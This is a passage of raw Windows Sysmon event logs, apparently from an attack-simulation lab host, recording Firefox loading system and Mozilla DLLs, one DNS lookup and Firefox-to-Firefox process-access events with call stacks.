WindowsValid 734700x800000000000000050941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.859{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000050940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.858{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000050939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.858{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000050938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.858{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000050937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.857{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000050936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.857{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000050935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.856{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\xul.dll92.0-FirefoxMozilla Foundationxul.dllMD5=3766950EB9C04428A9C737E569AC7ED9,SHA256=FC3E8D58FDB3000E92E0A62E044B2391BA002994935B04E39A1A3AF219102451,IMPHASH=0CA4B93436FFED8B6671051BFC088C43trueMozilla CorporationValid 734700x800000000000000050934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.856{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\lgpllibs.dll92.0-FirefoxMozilla Foundationlgpllibs.dllMD5=269AB2EAD217B029964A404AA6274B7F,SHA256=4EC20AE6993C89A577E13B64EEAD560E680FBC22B0398E4F747E24338DAB4E3A,IMPHASH=451AECEA9F58042E76D96A82BE2804FAtrueMozilla CorporationValid 734700x800000000000000050933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.855{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 22542200x800000000000000050932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.931{7BD73061-728D-613B-560B-00000000F001}4776gstaticadssl.l.google.com0142.250.186.35;C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.854{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmmbase.dll10.0.14393.0 (rs1_release.160715-1616)Base Multimedia Extension API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMMbase.DLLMD5=24C1E8F8C10471C5A6F0E8AF141211EB,SHA256=75ECAE23C920D81614BA5C0648377C2FC04C7379FD6A388C244A81F50AAB7B1C,IMPHASH=0B9A3C99AAFA99247F9E2BD866186AEAtrueMicrosoft WindowsValid 734700x800000000000000050930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.854{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wsock32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Socket 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationwsock32.dllMD5=9471D5E2FEDF5552440BF935143DFAB0,SHA256=B489197F05EFFFB17F10FA9942DB88100C86BEB8291F9ACC8EB38BEF751BF90D,IMPHASH=6D33A1BDF842DEBFB889C44A830190E7trueMicrosoft WindowsValid 734700x800000000000000050929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.853{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmm.dll10.0.14393.0 (rs1_release.160715-1616)MCI API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMM.DLLMD5=F16410F5D557337B05CF4F93691EC106,SHA256=2B5BC3C0A6514356C6719298FC25D8D192A2C973EE3283EF48379D2745C9BD87,IMPHASH=9F0D37252D56D3F9E44E69CCC59B57AEtrueMicrosoft WindowsValid 734700x800000000000000050928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.853{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000050927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.852{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\nss3.dll92.0-FirefoxMozilla Foundationnss3.dllMD5=D75237337798A67147768480343F6CD4,SHA256=D8969ACE98532DC895616847FEDBB9B2A4FCB21E660DE3A42689DA0A1924FDB6,IMPHASH=0DFC68B8DD02D4E1CB73F90762A0E3D7trueMozilla CorporationValid 734700x800000000000000050926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.851{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000050925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.850{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000050924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.850{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000050923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.849{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.849{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000050921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.844{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000050920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.843{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140_1.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=4DC09CA657822C2E8160255F767597DF,SHA256=922124BA0821AA864A0261ED88BD25F8E40F94C24D00D389E23CD9AB2BFC6BA4,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000050919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.842{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000050918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.842{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000050917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.841{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=ADE7AAC069131F54E4294F722C17A412,SHA256=92D50F7C4055718812CD3D823AA2821D6718EB55D2AB2BAC55C2E47260C25A76,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000050916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.841{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=4B6BA0947F115AE9FD3016D26D57ABB8,SHA256=254DF96324D019A7C4213ABD4178944B8BF2873D0C3EDC1835D4C668F83D7C37,IMPHASH=4F1912F58F8D1AE7998EF5303198D62DtrueMicrosoft CorporationValid 734700x800000000000000050915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.840{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000050914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.839{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000050913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.839{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000050912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.839{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000050911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.838{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000050910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.838{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000050909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.838{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000050908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.837{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000050907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.836{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000050906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.836{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000050905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.836{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000050904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.835{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000050903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.835{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000050902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.834{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e485b9|C:\Program Files\Mozilla Firefox\xul.dll+e3a3a2|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.834{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a46044|C:\Program Files\Mozilla Firefox\xul.dll+ac028e|C:\Program Files\Mozilla Firefox\xul.dll+e3a352|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98 10341000x800000000000000050900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla 